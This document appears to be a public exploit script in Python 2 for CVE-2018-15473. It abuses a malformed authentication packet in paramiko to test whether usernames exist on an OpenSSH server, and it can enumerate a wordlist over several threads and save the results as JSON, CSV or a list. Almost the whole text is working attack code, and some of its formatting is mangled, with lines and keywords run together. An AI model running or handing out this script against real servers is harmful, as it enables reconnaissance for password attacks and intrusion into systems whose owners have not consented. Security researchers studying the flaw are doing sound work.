# Exploit: OpenSSH 7.7 - Username Enumeration# Author: Justin Gardner# Date: 2018-08-20# Software: https://ftp4.usa.openbsd.org/pub/OpenBSD/OpenSSH/openssh-7.7.tar.gz# Affected Versions: OpenSSH version < 7.7# CVE: CVE-2018-15473############################################################################_________ _____ __ ## / __ \/ ____/ ____| || |##| || |_ __ ___ _ __ | (___| (___ | |__| |##| || | '_ \ / _ \ '_ \ \___ \\___ \|__|##| |__| | |_) |__/ | | |____) |___) | || |## \____/| .__/ \___|_| |_|_____/_____/|_||_|## | | Username Enumeration## |_| ## #############################################################################!/usr/bin/env pythonimport argparse
import logging
import paramiko
import multiprocessing
import socket
import sys
import json
# store function we will overwrite to malform the packet
old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]# create custom exception
class BadUsername(Exception):
def __init__(self):
pass
# create malicious "add_boolean" function to malform packet
def add_boolean(*args, **kwargs):
pass
# create function to call when username was invalid
def call_error(*args, **kwargs):
raise BadUsername()# create the malicious function to overwrite MSG_SERVICE_ACCEPT handler
def malform_packet(*args, **kwargs):
old_add_boolean = paramiko.message.Message.add_boolean
paramiko.message.Message.add_boolean = add_boolean
result= old_parse_service_accept(*args, **kwargs)#return old add_boolean function so start_client will work again
paramiko.message.Message.add_boolean = old_add_boolean
return result
# create function to perform authentication with malformed packet and desired username
def checkUsername(username, tried=0):
sock = socket.socket()
sock.connect((args.hostname, args.port))# instantiate transport
transport = paramiko.transport.Transport(sock)
try:
transport.start_client()
except paramiko.ssh_exception.SSHException:
# server was likely flooded, retry up to 3 times
transport.close()if tried <4:
tried +=1return checkUsername(username, tried)
else:
print '[-] Failed to negotiate SSH transport'
try:
transport.auth_publickey(username, paramiko.RSAKey.generate(1024))
except BadUsername:
return(username, False)
except paramiko.ssh_exception.AuthenticationException:
return(username, True)#Successful auth(?)
raise Exception("There was an error. Is this the correct version of OpenSSH?")
def exportJSON(results):
data ={"Valid":[], "Invalid":[]}forresultin results:
if result[1] and result[0] not in data['Valid']:
data['Valid'].append(result[0])elif not result[1] and result[0] not in data['Invalid']:
data['Invalid'].append(result[0])return json.dumps(data)
def exportCSV(results):
final ="Username, Valid\n"forresultin results:
final += result[0]+", "+str(result[1])+"\n"return final
def exportList(results):
final =""forresultin results:
if result[1]:
final+=result[0]+" is a valid user!\n"
else:
final+=result[0]+" is not a valid user!\n"return final
# assign functions to respective handlers
paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]= malform_packet
paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE]= call_error
# get rid of paramiko logging
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address")
arg_parser.add_argument('--port', type=int, default=22, help="The target port")
arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used")
arg_parser.add_argument('--outputFile', type=str, help="The output file location")
arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location")
group = arg_parser.add_mutually_exclusive_group(required=True)
group.add_argument('--username', type=str, help="The single username to validate")
group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through")
args = arg_parser.parse_args()
sock = socket.socket()
try:
sock.connect((args.hostname, args.port))
sock.close()
except socket.error:
print '[-] Connecting to host failed. Please check the specified host and port.'
sys.exit(1)if args.username: #single username passed in
result = checkUsername(args.username)if result[1]:
print result[0]+" is a valid user!"
else:
print result[0]+" is not a valid user!"elif args.userList: #username list passed in
try:
f = open(args.userList)
except IOError:
print "[-] File doesn't exist or is unreadable."
sys.exit(3)
usernames = map(str.strip, f.readlines())
f.close()# map usernames to their respective threads
pool = multiprocessing.Pool(args.threads)
results = pool.map(checkUsername, usernames)
try:
outputFile = open(args.outputFile, "w")
except IOError:
print "[-] Cannot write to outputFile."
sys.exit(5)ifargs.outputFormat=='list':
outputFile.writelines(exportList(results))
print "[+] Results successfully written to " + args.outputFile + " in List form."elifargs.outputFormat=='json':
outputFile.writelines(exportJSON(results))
print "[+] Results successfully written to " + args.outputFile + " in JSON form."elifargs.outputFormat=='csv':
outputFile.writelines(exportCSV(results))
print "[+] Results successfully written to " + args.outputFile + " in CSV form."
else:
print "".join(results)
outputFile.close()
else: # no usernames passed in
print "[-] No usernames provided to check"
sys.exit(4)